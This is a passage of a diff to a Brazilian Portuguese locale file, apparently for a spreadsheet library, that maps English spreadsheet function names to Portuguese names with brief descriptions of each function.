Retorna um número complexo elevado a uma potência inteira -IMPRODUCT = IMPROD ## Retorna o produto de números complexos -IMREAL = IMREAL ## Retorna o coeficiente real de um número complexo -IMSIN = IMSENO ## Retorna o seno de um número complexo -IMSQRT = IMRAIZ ## Retorna a raiz quadrada de um número complexo -IMSUB = IMSUBTR ## Retorna a diferença entre dois números complexos -IMSUM = IMSOMA ## Retorna a soma de números complexos -OCT2BIN = OCTABIN ## Converte um número octal em binário -OCT2DEC = OCTADEC ## Converte um número octal em decimal -OCT2HEX = OCTAHEX ## Converte um número octal em hexadecimal - - -## -## Financial functions Funções financeiras -## -ACCRINT = JUROSACUM ## Retorna a taxa de juros acumulados de um título que paga uma taxa periódica de juros -ACCRINTM = JUROSACUMV ## Retorna os juros acumulados de um título que paga juros no vencimento -AMORDEGRC = AMORDEGRC ## Retorna a depreciação para cada período contábil usando o coeficiente de depreciação -AMORLINC = AMORLINC ## Retorna a depreciação para cada período contábil -COUPDAYBS = CUPDIASINLIQ ## Retorna o número de dias do início do período de cupom até a data de liquidação -COUPDAYS = CUPDIAS ## Retorna o número de dias no período de cupom que contém a data de quitação -COUPDAYSNC = CUPDIASPRÓX ## Retorna o número de dias da data de liquidação até a data do próximo cupom -COUPNCD = CUPDATAPRÓX ## Retorna a próxima data de cupom após a data de quitação -COUPNUM = CUPNÚM ## Retorna o número de cupons pagáveis entre as datas de quitação e vencimento -COUPPCD = CUPDATAANT ## Retorna a data de cupom anterior à data de quitação -CUMIPMT = PGTOJURACUM ## Retorna os juros acumulados pagos entre dois períodos -CUMPRINC = PGTOCAPACUM ## Retorna o capital acumulado pago sobre um empréstimo entre dois períodos -DB = BD ## Retorna a depreciação de um ativo para um período especificado, usando o método de balanço de declínio fixo -DDB = BDD ## Retorna a depreciação de um ativo com relação a um período especificado usando o método de saldos decrescentes duplos ou qualquer outro método especificado por você -DISC = DESC ## Retorna a taxa de desconto de um título -DOLLARDE = MOEDADEC ## Converte um preço em formato de moeda, na forma fracionária, em um preço na forma decimal -DOLLARFR = MOEDAFRA ## Converte um preço, apresentado na forma decimal, em um preço apresentado na forma fracionária -DURATION = DURAÇÃO ## Retorna a duração anual de um título com pagamentos de juros periódicos -EFFECT = EFETIVA ## Retorna a taxa de juros anual efetiva -FV = VF ## Retorna o valor futuro de um investimento -FVSCHEDULE = VFPLANO ## Retorna o valor futuro de um capital inicial após a aplicação de uma série de taxas de juros compostas -INTRATE = TAXAJUROS ## Retorna a taxa de juros de um título totalmente investido -IPMT = IPGTO ## Retorna o pagamento de juros para um investimento em um determinado período -IRR = TIR ## Retorna a taxa interna de retorno de uma série de fluxos de caixa -ISPMT = ÉPGTO ## Calcula os juros pagos durante um período específico de um investimento -MDURATION = MDURAÇÃO ## Retorna a duração de Macauley modificada para um título com um valor de paridade equivalente a R$ 100 -MIRR = MTIR ## Calcula a taxa interna de retorno em que fluxos de caixa positivos e negativos são financiados com diferentes taxas -NOMINAL = NOMINAL ## Retorna a taxa de juros nominal anual -NPER = NPER ## Retorna o número de períodos de um investimento -NPV = VPL ## Retorna o valor líquido atual de um investimento com base em uma série de fluxos de caixa periódicos e em uma taxa de desconto -ODDFPRICE = PREÇOPRIMINC ## Retorna o preço por R$ 100 de valor nominal de um título com um primeiro período indefinido -ODDFYIELD = LUCROPRIMINC ## Retorna o rendimento de um título com um primeiro período indefinido -ODDLPRICE = PREÇOÚLTINC ## Retorna o preço por R$ 100 de valor nominal de um título com um último período de cupom indefinido -ODDLYIELD = LUCROÚLTINC ## Retorna o rendimento de um título com um último período indefinido -PMT = PGTO ## Retorna o pagamento periódico de uma anuidade -PPMT = PPGTO ## Retorna o pagamento de capital para determinado período de investimento -PRICE = PREÇO ## Retorna a preço por R$ 100,00 de valor nominal de um título que paga juros periódicos -PRICEDISC = PREÇODESC ## Retorna o preço por R$ 100,00 de valor nominal de um título descontado -PRICEMAT = PREÇOVENC ## Retorna o preço por R$ 100,00 de valor nominal de um título que paga juros no vencimento -PV = VP ## Retorna o valor presente de um investimento -RATE = TAXA ## Retorna a taxa de juros por período de uma anuidade -RECEIVED = RECEBER ## Retorna a quantia recebida no vencimento de um título totalmente investido -SLN = DPD ## Retorna a depreciação em linha reta de um ativo durante um período -SYD = SDA ## Retorna a depreciação dos dígitos da soma dos anos de um ativo para um período especificado -TBILLEQ = OTN ## Retorna o rendimento de um título equivalente a uma obrigação do Tesouro -TBILLPRICE = OTNVALOR ## Retorna o preço por R$ 100,00 de valor nominal de uma obrigação do Tesouro -TBILLYIELD = OTNLUCRO ## Retorna o rendimento de uma obrigação do Tesouro -VDB = BDV ## Retorna a depreciação de um ativo para um período especificado ou parcial usando um método de balanço declinante -XIRR = XTIR ## Fornece a taxa interna de retorno para um programa de fluxos de caixa que não é necessariamente periódico -XNPV = XVPL ## Retorna o valor presente líquido de um programa de fluxos de caixa que não é necessariamente periódico -YIELD = LUCRO ## Retorna o lucro de um título que paga juros periódicos -YIELDDISC = LUCRODESC ## Retorna o rendimento anual de um título descontado. Por exemplo, uma obrigação do Tesouro -YIELDMAT = LUCROVENC ## Retorna o lucro anual de um título que paga juros no vencimento - - -## -## Information functions Funções de informação -## -CELL = CÉL ## Retorna informações sobre formatação, localização ou conteúdo de uma célula -ERROR.TYPE = TIPO.ERRO ## Retorna um número correspondente a um tipo de erro -INFO = INFORMAÇÃO ## Retorna informações sobre o ambiente operacional atual -ISBLANK = ÉCÉL.VAZIA ## Retorna VERDADEIRO se o valor for vazio -ISERR = ÉERRO ## Retorna VERDADEIRO se o valor for um valor de erro diferente de #N/D -ISERROR = ÉERROS ## Retorna VERDADEIRO se o valor for um valor de erro -ISEVEN = ÉPAR ## Retorna VERDADEIRO se o número for par -ISLOGICAL = ÉLÓGICO ## Retorna VERDADEIRO se o valor for um valor lógico -ISNA = É.NÃO.DISP ## Retorna VERDADEIRO se o valor for o valor de erro #N/D -ISNONTEXT = É.NÃO.TEXTO ## Retorna VERDADEIRO se o valor for diferente de texto -ISNUMBER = ÉNÚM ## Retorna VERDADEIRO se o valor for um número -ISODD = ÉIMPAR ## Retorna VERDADEIRO se o número for ímpar -ISREF = ÉREF ## Retorna VERDADEIRO se o valor for uma referência -ISTEXT = ÉTEXTO ## Retorna VERDADEIRO se o valor for texto -N = N ## Retorna um valor convertido em um número -NA = NÃO.DISP ## Retorna o valor de erro #N/D -TYPE = TIPO ## Retorna um número indicando o tipo de dados de um valor - - -## -## Logical functions Funções lógicas -## -AND = E ## Retorna VERDADEIRO se todos os seus argumentos forem VERDADEIROS -FALSE = FALSO ## Retorna o valor lógico FALSO -IF = SE ## Especifica um teste lógico a ser executado -IFERROR = SEERRO ## Retornará um valor que você especifica se uma fórmula for avaliada para um erro; do contrário, retornará o resultado da fórmula -NOT = NÃO ## Inverte o valor lógico do argumento -OR = OU ## Retorna VERDADEIRO se um dos argumentos for VERDADEIRO -TRUE = VERDADEIRO ## Retorna o valor lógico VERDADEIRO - - -## -## Lookup and reference functions Funções de pesquisa e referência -## -ADDRESS = ENDEREÇO ## Retorna uma referência como texto para uma única célula em uma planilha -AREAS = ÁREAS ## Retorna o número de áreas em uma referência -CHOOSE = ESCOLHER ## Escolhe um valor a partir de uma lista de valores -COLUMN = COL ## Retorna o número da coluna de uma referência -COLUMNS = COLS ## Retorna o número de colunas em uma referência -HLOOKUP = PROCH ## Procura na linha superior de uma matriz e retorna o valor da célula especificada -HYPERLINK = HYPERLINK ## Cria um atalho ou salto que abre um documento armazenado em um servidor de rede, uma intranet ou na Internet -INDEX = ÍNDICE ## Usa um índice para escolher um valor de uma referência ou matriz -INDIRECT = INDIRETO ## Retorna uma referência indicada por um valor de texto -LOOKUP = PROC ## Procura valores em um vetor ou em uma matriz -MATCH = CORRESP ## Procura valores em uma referência ou em uma matriz -OFFSET = DESLOC ## Retorna um deslocamento de referência com base em uma determinada referência -ROW = LIN ## Retorna o número da linha de uma referência -ROWS = LINS ## Retorna o número de linhas em uma referência -RTD = RTD ## Recupera dados em tempo real de um programa que ofereça suporte a automação COM (automação: uma forma de trabalhar com objetos de um aplicativo a partir de outro aplicativo ou ferramenta de desenvolvimento. Chamada inicialmente de automação OLE, a automação é um padrão industrial e um recurso do modelo de objeto componente (COM).) -TRANSPOSE = TRANSPOR ## Retorna a transposição de uma matriz -VLOOKUP = PROCV ## Procura na primeira coluna de uma matriz e move ao longo da linha para retornar o valor de uma célula - - -## -## Math and trigonometry functions Funções matemáticas e trigonométricas -## -ABS = ABS ## Retorna o valor absoluto de um número -ACOS = ACOS ## Retorna o arco cosseno de um número -ACOSH = ACOSH ## Retorna o cosseno hiperbólico inverso de um número -ASIN = ASEN ## Retorna o arco seno de um número -ASINH = ASENH ## Retorna o seno hiperbólico inverso de um número -ATAN = ATAN ## Retorna o arco tangente de um número -ATAN2 = ATAN2 ## Retorna o arco tangente das coordenadas x e y especificadas -ATANH = ATANH ## Retorna a tangente hiperbólica inversa de um número -CEILING = TETO ## Arredonda um número para o inteiro mais próximo ou para o múltiplo mais próximo de significância -COMBIN = COMBIN ## Retorna o número de combinações de um determinado número de objetos -COS = COS ## Retorna o cosseno de um número -COSH = COSH ## Retorna o cosseno hiperbólico de um número -DEGREES = GRAUS ## Converte radianos em graus -EVEN = PAR ## Arredonda um número para cima até o inteiro par mais próximo -EXP = EXP ## Retorna e elevado à potência de um número especificado -FACT = FATORIAL ## Retorna o fatorial de um número -FACTDOUBLE = FATDUPLO ## Retorna o fatorial duplo de um número -FLOOR = ARREDMULTB ## Arredonda um número para baixo até zero -GCD = MDC ## Retorna o máximo divisor comum -INT = INT ## Arredonda um número para baixo até o número inteiro mais próximo -LCM = MMC ## Retorna o mínimo múltiplo comum -LN = LN ## Retorna o logaritmo natural de um número -LOG = LOG ## Retorna o logaritmo de um número de uma base especificada -LOG10 = LOG10 ## Retorna o logaritmo de base 10 de um número -MDETERM = MATRIZ.DETERM ## Retorna o determinante de uma matriz de uma variável do tipo matriz -MINVERSE = MATRIZ.INVERSO ## Retorna a matriz inversa de uma matriz -MMULT = MATRIZ.MULT ## Retorna o produto de duas matrizes -MOD = RESTO ## Retorna o resto da divisão -MROUND = MARRED ## Retorna um número arredondado ao múltiplo desejado -MULTINOMIAL = MULTINOMIAL ## Retorna o multinomial de um conjunto de números -ODD = ÍMPAR ## Arredonda um número para cima até o inteiro ímpar mais próximo -PI = PI ## Retorna o valor de Pi -POWER = POTÊNCIA ## Fornece o resultado de um número elevado a uma potência -PRODUCT = MULT ## Multiplica seus argumentos -QUOTIENT = QUOCIENTE ## Retorna a parte inteira de uma divisão -RADIANS = RADIANOS ## Converte graus em radianos -RAND = ALEATÓRIO ## Retorna um número aleatório entre 0 e 1 -RANDBETWEEN = ALEATÓRIOENTRE ## Retorna um número aleatório entre os números especificados -ROMAN = ROMANO ## Converte um algarismo arábico em romano, como texto -ROUND = ARRED ## Arredonda um número até uma quantidade especificada de dígitos -ROUNDDOWN = ARREDONDAR.PARA.BAIXO ## Arredonda um número para baixo até zero -ROUNDUP = ARREDONDAR.PARA.CIMA ## Arredonda um número para cima, afastando-o de zero -SERIESSUM = SOMASEQÜÊNCIA ## Retorna a soma de uma série polinomial baseada na fórmula -SIGN = SINAL ## Retorna o sinal de um número -SIN = SEN ## Retorna o seno de um ângulo dado -SINH = SENH ## Retorna o seno hiperbólico de um número -SQRT = RAIZ ## Retorna uma raiz quadrada positiva -SQRTPI = RAIZPI ## Retorna a raiz quadrada de (núm* pi) -SUBTOTAL = SUBTOTAL ## Retorna um subtotal em uma lista ou em um banco de dados -SUM = SOMA ## Soma seus argumentos -SUMIF = SOMASE ## Adiciona as células especificadas por um determinado critério -SUMIFS = SOMASE ## Adiciona as células em um intervalo que atende a vários critérios -SUMPRODUCT = SOMARPRODUTO ## Retorna a soma dos produtos de componentes correspondentes de matrizes -SUMSQ = SOMAQUAD ## Retorna a soma dos quadrados dos argumentos -SUMX2MY2 = SOMAX2DY2 ## Retorna a soma da diferença dos quadrados dos valores correspondentes em duas matrizes -SUMX2PY2 = SOMAX2SY2 ## Retorna a soma da soma dos quadrados dos valores correspondentes em duas matrizes -SUMXMY2 = SOMAXMY2 ## Retorna a soma dos quadrados das diferenças dos valores correspondentes em duas matrizes -TAN = TAN ## Retorna a tangente de um número -TANH = TANH ## Retorna a tangente hiperbólica de um número -TRUNC = TRUNCAR ## Trunca um número para um inteiro - - -## -## Statistical functions Funções estatísticas -## -AVEDEV = DESV.MÉDIO ## Retorna a média aritmética dos desvios médios dos pontos de dados a partir de sua média -AVERAGE = MÉDIA ## Retorna a média dos argumentos -AVERAGEA = MÉDIAA ## Retorna a média dos argumentos, inclusive números, texto e valores lógicos -AVERAGEIF = MÉDIASE ## Retorna a média (média aritmética) de todas as células em um intervalo que atendem a um determinado critério -AVERAGEIFS = MÉDIASES ## Retorna a média (média aritmética) de todas as células que atendem a múltiplos critérios. -BETADIST = DISTBETA ## Retorna a função de distribuição cumulativa beta -BETAINV = BETA.ACUM.INV ## Retorna o inverso da função de distribuição cumulativa para uma distribuição beta especificada -BINOMDIST = DISTRBINOM ## Retorna a probabilidade de distribuição binomial do termo individual -CHIDIST = DIST.QUI ## Retorna a probabilidade unicaudal da distribuição qui-quadrada -CHIINV = INV.QUI ## Retorna o inverso da probabilidade uni-caudal da distribuição qui-quadrada -CHITEST = TESTE.QUI ## Retorna o teste para independência -CONFIDENCE = INT.CONFIANÇA ## Retorna o intervalo de confiança para uma média da população -CORREL = CORREL ## Retorna o coeficiente de correlação entre dois conjuntos de dados -COUNT = CONT.NÚM ## Calcula quantos números há na lista de argumentos -COUNTA = CONT.VALORES ## Calcula quantos valores há na lista de argumentos -COUNTBLANK = CONTAR.VAZIO ## Conta o número de células vazias no intervalo especificado -COUNTIF = CONT.SE ## Calcula o número de células não vazias em um intervalo que corresponde a determinados critérios -COUNTIFS = CONT.SES ## Conta o número de células dentro de um intervalo que atende a múltiplos critérios -COVAR = COVAR ## Retorna a covariância, a média dos produtos dos desvios pares -CRITBINOM = CRIT.BINOM ## Retorna o menor valor para o qual a distribuição binomial cumulativa é menor ou igual ao valor padrão -DEVSQ = DESVQ ## Retorna a soma dos quadrados dos desvios -EXPONDIST = DISTEXPON ## Retorna a distribuição exponencial -FDIST = DISTF ## Retorna a distribuição de probabilidade F -FINV = INVF ## Retorna o inverso da distribuição de probabilidades F -FISHER = FISHER ## Retorna a transformação Fisher -FISHERINV = FISHERINV ## Retorna o inverso da transformação Fisher -FORECAST = PREVISÃO ## Retorna um valor ao longo de uma linha reta -FREQUENCY = FREQÜÊNCIA ## Retorna uma distribuição de freqüência como uma matriz vertical -FTEST = TESTEF ## Retorna o resultado de um teste F -GAMMADIST = DISTGAMA ## Retorna a distribuição gama -GAMMAINV = INVGAMA ## Retorna o inverso da distribuição cumulativa gama -GAMMALN = LNGAMA ## Retorna o logaritmo natural da função gama, G(x) -GEOMEAN = MÉDIA.GEOMÉTRICA ## Retorna a média geométrica -GROWTH = CRESCIMENTO ## Retorna valores ao longo de uma tendência exponencial -HARMEAN = MÉDIA.HARMÔNICA ## Retorna a média harmônica -HYPGEOMDIST = DIST.HIPERGEOM ## Retorna a distribuição hipergeométrica -INTERCEPT = INTERCEPÇÃO ## Retorna a intercepção da linha de regressão linear -KURT = CURT ## Retorna a curtose de um conjunto de dados -LARGE = MAIOR ## Retorna o maior valor k-ésimo de um conjunto de dados -LINEST = PROJ.LIN ## Retorna os parâmetros de uma tendência linear -LOGEST = PROJ.LOG ## Retorna os parâmetros de uma tendência exponencial -LOGINV = INVLOG ## Retorna o inverso da distribuição lognormal -LOGNORMDIST = DIST.LOGNORMAL ## Retorna a distribuição lognormal cumulativa -MAX = MÁXIMO ## Retorna o valor máximo em uma lista de argumentos -MAXA = MÁXIMOA ## Retorna o maior valor em uma lista de argumentos, inclusive números, texto e valores lógicos -MEDIAN = MED ## Retorna a mediana dos números indicados -MIN = MÍNIMO ## Retorna o valor mínimo em uma lista de argumentos -MINA = MÍNIMOA ## Retorna o menor valor em uma lista de argumentos, inclusive números, texto e valores lógicos -MODE = MODO ## Retorna o valor mais comum em um conjunto de dados -NEGBINOMDIST = DIST.BIN.NEG ## Retorna a distribuição binomial negativa -NORMDIST = DIST.NORM ## Retorna a distribuição cumulativa normal -NORMINV = INV.NORM ## Retorna o inverso da distribuição cumulativa normal -NORMSDIST = DIST.NORMP ## Retorna a distribuição cumulativa normal padrão -NORMSINV = INV.NORMP ## Retorna o inverso da distribuição cumulativa normal padrão -PEARSON = PEARSON ## Retorna o coeficiente de correlação do momento do produto Pearson -PERCENTILE = PERCENTIL ## Retorna o k-ésimo percentil de valores em um intervalo -PERCENTRANK = ORDEM.PORCENTUAL ## Retorna a ordem percentual de um valor em um conjunto de dados -PERMUT = PERMUT ## Retorna o número de permutações de um determinado número de objetos -POISSON = POISSON ## Retorna a distribuição Poisson -PROB = PROB ## Retorna a probabilidade de valores em um intervalo estarem entre dois limites -QUARTILE = QUARTIL ## Retorna o quartil do conjunto de dados -RANK = ORDEM ## Retorna a posição de um número em uma lista de números -RSQ = RQUAD ## Retorna o quadrado do coeficiente de correlação do momento do produto de Pearson -SKEW = DISTORÇÃO ## Retorna a distorção de uma distribuição -SLOPE = INCLINAÇÃO ## Retorna a inclinação da linha de regressão linear -SMALL = MENOR ## Retorna o menor valor k-ésimo do conjunto de dados -STANDARDIZE = PADRONIZAR ## Retorna um valor normalizado -STDEV = DESVPAD ## Estima o desvio padrão com base em uma amostra -STDEVA = DESVPADA ## Estima o desvio padrão com base em uma amostra, inclusive números, texto e valores lógicos -STDEVP = DESVPADP ## Calcula o desvio padrão com base na população total -STDEVPA = DESVPADPA ## Calcula o desvio padrão com base na população total, inclusive números, texto e valores lógicos -STEYX = EPADYX ## Retorna o erro padrão do valor-y previsto para cada x da regressão -TDIST = DISTT ## Retorna a distribuição t de Student -TINV = INVT ## Retorna o inverso da distribuição t de Student -TREND = TENDÊNCIA ## Retorna valores ao longo de uma tendência linear -TRIMMEAN = MÉDIA.INTERNA ## Retorna a média do interior de um conjunto de dados -TTEST = TESTET ## Retorna a probabilidade associada ao teste t de Student -VAR = VAR ## Estima a variância com base em uma amostra -VARA = VARA ## Estima a variância com base em uma amostra, inclusive números, texto e valores lógicos -VARP = VARP ## Calcula a variância com base na população inteira -VARPA = VARPA ## Calcula a variância com base na população total, inclusive números, texto e valores lógicos -WEIBULL = WEIBULL ## Retorna a distribuição Weibull -ZTEST = TESTEZ ## Retorna o valor de probabilidade uni-caudal de um teste-z - - -## -## Text functions Funções de texto -## -ASC = ASC ## Altera letras do inglês ou katakana de largura total (bytes duplos) dentro de uma seqüência de caracteres para caracteres de meia largura (byte único) -BAHTTEXT = BAHTTEXT ## Converte um número em um texto, usando o formato de moeda ß (baht) -CHAR = CARACT ## Retorna o caractere especificado pelo número de código -CLEAN = TIRAR ## Remove todos os caracteres do texto que não podem ser impressos -CODE = CÓDIGO ## Retorna um código numérico para o primeiro caractere de uma seqüência de caracteres de texto -CONCATENATE = CONCATENAR ## Agrupa vários itens de texto em um único item de texto -DOLLAR = MOEDA ## Converte um número em texto, usando o formato de moeda $ (dólar) -EXACT = EXATO ## Verifica se dois valores de texto são idênticos -FIND = PROCURAR ## Procura um valor de texto dentro de outro (diferencia maiúsculas de minúsculas) -FINDB = PROCURARB ## Procura um valor de texto dentro de outro (diferencia maiúsculas de minúsculas) -FIXED = DEF.NÚM.DEC ## Formata um número como texto com um número fixo de decimais -JIS = JIS ## Altera letras do inglês ou katakana de meia largura (byte único) dentro de uma seqüência de caracteres para caracteres de largura total (bytes duplos) -LEFT = ESQUERDA ## Retorna os caracteres mais à esquerda de um valor de texto -LEFTB = ESQUERDAB ## Retorna os caracteres mais à esquerda de um valor de texto -LEN = NÚM.CARACT ## Retorna o número de caracteres em uma seqüência de texto -LENB = NÚM.CARACTB ## Retorna o número de caracteres em uma seqüência de texto -LOWER = MINÚSCULA ## Converte texto para minúsculas -MID = EXT.TEXTO ## Retorna um número específico de caracteres de uma seqüência de texto começando na posição especificada -MIDB = EXT.TEXTOB ## Retorna um número específico de caracteres de uma seqüência de texto começando na posição especificada -PHONETIC = FONÉTICA ## Extrai os caracteres fonéticos (furigana) de uma seqüência de caracteres de texto -PROPER = PRI.MAIÚSCULA ## Coloca a primeira letra de cada palavra em maiúscula em um valor de texto -REPLACE = MUDAR ## Muda os caracteres dentro do texto -REPLACEB = MUDARB ## Muda os caracteres dentro do texto -REPT = REPT ## Repete o texto um determinado número de vezes -RIGHT = DIREITA ## Retorna os caracteres mais à direita de um valor de texto -RIGHTB = DIREITAB ## Retorna os caracteres mais à direita de um valor de texto -SEARCH = LOCALIZAR ## Localiza um valor de texto dentro de outro (não diferencia maiúsculas de minúsculas) -SEARCHB = LOCALIZARB ## Localiza um valor de texto dentro de outro (não diferencia maiúsculas de minúsculas) -SUBSTITUTE = SUBSTITUIR ## Substitui um novo texto por um texto antigo em uma seqüência de texto -T = T ## Converte os argumentos em texto -TEXT = TEXTO ## Formata um número e o converte em texto -TRIM = ARRUMAR ## Remove espaços do texto -UPPER = MAIÚSCULA ## Converte o texto em maiúsculas -VALUE = VALOR ## Converte um argumento de texto em um número +## +## Add-in and Automation functions Funções Suplemento e Automação +## +GETPIVOTDATA = INFODADOSTABELADINÂMICA ## Retorna os dados armazenados em um relatório de tabela dinâmica + + +## +## Cube functions Funções de Cubo +## +CUBEKPIMEMBER = MEMBROKPICUBO ## Retorna o nome de um KPI (indicador de desempenho-chave), uma propriedade e uma medida e exibe o nome e a propriedade na célula. Um KPI é uma medida quantificável, como o lucro bruto mensal ou a rotatividade trimestral dos funcionários, usada para monitorar o desempenho de uma organização. +CUBEMEMBER = MEMBROCUBO ## Retorna um membro ou tupla em uma hierarquia de cubo. Use para validar se o membro ou tupla existe no cubo. +CUBEMEMBERPROPERTY = PROPRIEDADEMEMBROCUBO ## Retorna o valor da propriedade de um membro no cubo. Usada para validar a existência do nome do membro no cubo e para retornar a propriedade especificada para esse membro. +CUBERANKEDMEMBER = MEMBROCLASSIFICADOCUBO ## Retorna o enésimo membro, ou o membro ordenado, em um conjunto. Use para retornar um ou mais elementos em um conjunto, assim como o melhor vendedor ou os dez melhores alunos. +CUBESET = CONJUNTOCUBO ## Define um conjunto calculado de membros ou tuplas enviando uma expressão do conjunto para o cubo no servidor, que cria o conjunto e o retorna para o Microsoft Office Excel. +CUBESETCOUNT = CONTAGEMCONJUNTOCUBO ## Retorna o número de itens em um conjunto. +CUBEVALUE = VALORCUBO ## Retorna um valor agregado de um cubo. + + +## +## Database functions Funções de banco de dados +## +DAVERAGE = BDMÉDIA ## Retorna a média das entradas selecionadas de um banco de dados +DCOUNT = BDCONTAR ## Conta as células que contêm números em um banco de dados +DCOUNTA = BDCONTARA ## Conta células não vazias em um banco de dados +DGET = BDEXTRAIR ## Extrai de um banco de dados um único registro que corresponde a um critério específico +DMAX = BDMÁX ## Retorna o valor máximo de entradas selecionadas de um banco de dados +DMIN = BDMÍN ## Retorna o valor mínimo de entradas selecionadas de um banco de dados +DPRODUCT = BDMULTIPL ## Multiplica os valores em um campo específico de registros que correspondem ao critério em um banco de dados +DSTDEV = BDEST ## Estima o desvio padrão com base em uma amostra de entradas selecionadas de um banco de dados +DSTDEVP = BDDESVPA ## Calcula o desvio padrão com base na população inteira de entradas selecionadas de um banco de dados +DSUM = BDSOMA ## Adiciona os números à coluna de campos de registros do banco de dados que correspondem ao critério +DVAR = BDVAREST ## Estima a variância com base em uma amostra de entradas selecionadas de um banco de dados +DVARP = BDVARP ## Calcula a variância com base na população inteira de entradas selecionadas de um banco de dados + + +## +## Date and time functions Funções de data e hora +## +DATE = DATA ## Retorna o número de série de uma data específica +DATEVALUE = DATA.VALOR ## Converte uma data na forma de texto para um número de série +DAY = DIA ## Converte um número de série em um dia do mês +DAYS360 = DIAS360 ## Calcula o número de dias entre duas datas com base em um ano de 360 dias +EDATE = DATAM ## Retorna o número de série da data que é o número indicado de meses antes ou depois da data inicial +EOMONTH = FIMMÊS ## Retorna o número de série do último dia do mês antes ou depois de um número especificado de meses +HOUR = HORA ## Converte um número de série em uma hora +MINUTE = MINUTO ## Converte um número de série em um minuto +MONTH = MÊS ## Converte um número de série em um mês +NETWORKDAYS = DIATRABALHOTOTAL ## Retorna o número de dias úteis inteiros entre duas datas +NOW = AGORA ## Retorna o número de série seqüencial da data e hora atuais +SECOND = SEGUNDO ## Converte um número de série em um segundo +TIME = HORA ## Retorna o número de série de uma hora específica +TIMEVALUE = VALOR.TEMPO ## Converte um horário na forma de texto para um número de série +TODAY = HOJE ## Retorna o número de série da data de hoje +WEEKDAY = DIA.DA.SEMANA ## Converte um número de série em um dia da semana +WEEKNUM = NÚMSEMANA ## Converte um número de série em um número que representa onde a semana cai numericamente em um ano +WORKDAY = DIATRABALHO ## Retorna o número de série da data antes ou depois de um número específico de dias úteis +YEAR = ANO ## Converte um número de série em um ano +YEARFRAC = FRAÇÃOANO ## Retorna a fração do ano que representa o número de dias entre data_inicial e data_final + + +## +## Engineering functions Funções de engenharia +## +BESSELI = BESSELI ## Retorna a função de Bessel In(x) modificada +BESSELJ = BESSELJ ## Retorna a função de Bessel Jn(x) +BESSELK = BESSELK ## Retorna a função de Bessel Kn(x) modificada +BESSELY = BESSELY ## Retorna a função de Bessel Yn(x) +BIN2DEC = BIN2DEC ## Converte um número binário em decimal +BIN2HEX = BIN2HEX ## Converte um número binário em hexadecimal +BIN2OCT = BIN2OCT ## Converte um número binário em octal +COMPLEX = COMPLEX ## Converte coeficientes reais e imaginários e um número complexo +CONVERT = CONVERTER ## Converte um número de um sistema de medida para outro +DEC2BIN = DECABIN ## Converte um número decimal em binário +DEC2HEX = DECAHEX ## Converte um número decimal em hexadecimal +DEC2OCT = DECAOCT ## Converte um número decimal em octal +DELTA = DELTA ## Testa se dois valores são iguais +ERF = FUNERRO ## Retorna a função de erro +ERFC = FUNERROCOMPL ## Retorna a função de erro complementar +GESTEP = DEGRAU ## Testa se um número é maior do que um valor limite +HEX2BIN = HEXABIN ## Converte um número hexadecimal em binário +HEX2DEC = HEXADEC ## Converte um número hexadecimal em decimal +HEX2OCT = HEXAOCT ## Converte um número hexadecimal em octal +IMABS = IMABS ## Retorna o valor absoluto (módulo) de um número complexo +IMAGINARY = IMAGINÁRIO ## Retorna o coeficiente imaginário de um número complexo +IMARGUMENT = IMARG ## Retorna o argumento teta, um ângulo expresso em radianos +IMCONJUGATE = IMCONJ ## Retorna o conjugado complexo de um número complexo +IMCOS = IMCOS ## Retorna o cosseno de um número complexo +IMDIV = IMDIV ## Retorna o quociente de dois números complexos +IMEXP = IMEXP ## Retorna o exponencial de um número complexo +IMLN = IMLN ## Retorna o logaritmo natural de um número complexo +IMLOG10 = IMLOG10 ## Retorna o logaritmo de base 10 de um número complexo +IMLOG2 = IMLOG2 ## Retorna o logaritmo de base 2 de um número complexo +IMPOWER = IMPOT ## Retorna um número complexo elevado a uma potência inteira +IMPRODUCT = IMPROD ## Retorna o produto de números complexos +IMREAL = IMREAL ## Retorna o coeficiente real de um número complexo +IMSIN = IMSENO ## Retorna o seno de um número complexo +IMSQRT = IMRAIZ ## Retorna a raiz quadrada de um número complexo +IMSUB = IMSUBTR ## Retorna a diferença entre dois números complexos +IMSUM = IMSOMA ## Retorna a soma de números complexos +OCT2BIN = OCTABIN ## Converte um número octal em binário +OCT2DEC = OCTADEC ## Converte um número octal em decimal +OCT2HEX = OCTAHEX ## Converte um número octal em hexadecimal + + +## +## Financial functions Funções financeiras +## +ACCRINT = JUROSACUM ## Retorna a taxa de juros acumulados de um título que paga uma taxa periódica de juros +ACCRINTM = JUROSACUMV ## Retorna os juros acumulados de um título que paga juros no vencimento +AMORDEGRC = AMORDEGRC ## Retorna a depreciação para cada período contábil usando o coeficiente de depreciação +AMORLINC = AMORLINC ## Retorna a depreciação para cada período contábil +COUPDAYBS = CUPDIASINLIQ ## Retorna o número de dias do início do período de cupom até a data de liquidação +COUPDAYS = CUPDIAS ## Retorna o número de dias no período de cupom que contém a data de quitação +COUPDAYSNC = CUPDIASPRÓX ## Retorna o número de dias da data de liquidação até a data do próximo cupom +COUPNCD = CUPDATAPRÓX ## Retorna a próxima data de cupom após a data de quitação +COUPNUM = CUPNÚM ## Retorna o número de cupons pagáveis entre as datas de quitação e vencimento +COUPPCD = CUPDATAANT ## Retorna a data de cupom anterior à data de quitação +CUMIPMT = PGTOJURACUM ## Retorna os juros acumulados pagos entre dois períodos +CUMPRINC = PGTOCAPACUM ## Retorna o capital acumulado pago sobre um empréstimo entre dois períodos +DB = BD ## Retorna a depreciação de um ativo para um período especificado, usando o método de balanço de declínio fixo +DDB = BDD ## Retorna a depreciação de um ativo com relação a um período especificado usando o método de saldos decrescentes duplos ou qualquer outro método especificado por você +DISC = DESC ## Retorna a taxa de desconto de um título +DOLLARDE = MOEDADEC ## Converte um preço em formato de moeda, na forma fracionária, em um preço na forma decimal +DOLLARFR = MOEDAFRA ## Converte um preço, apresentado na forma decimal, em um preço apresentado na forma fracionária +DURATION = DURAÇÃO ## Retorna a duração anual de um título com pagamentos de juros periódicos +EFFECT = EFETIVA ## Retorna a taxa de juros anual efetiva +FV = VF ## Retorna o valor futuro de um investimento +FVSCHEDULE = VFPLANO ## Retorna o valor futuro de um capital inicial após a aplicação de uma série de taxas de juros compostas +INTRATE = TAXAJUROS ## Retorna a taxa de juros de um título totalmente investido +IPMT = IPGTO ## Retorna o pagamento de juros para um investimento em um determinado período +IRR = TIR ## Retorna a taxa interna de retorno de uma série de fluxos de caixa +ISPMT = ÉPGTO ## Calcula os juros pagos durante um período específico de um investimento +MDURATION = MDURAÇÃO ## Retorna a duração de Macauley modificada para um título com um valor de paridade equivalente a 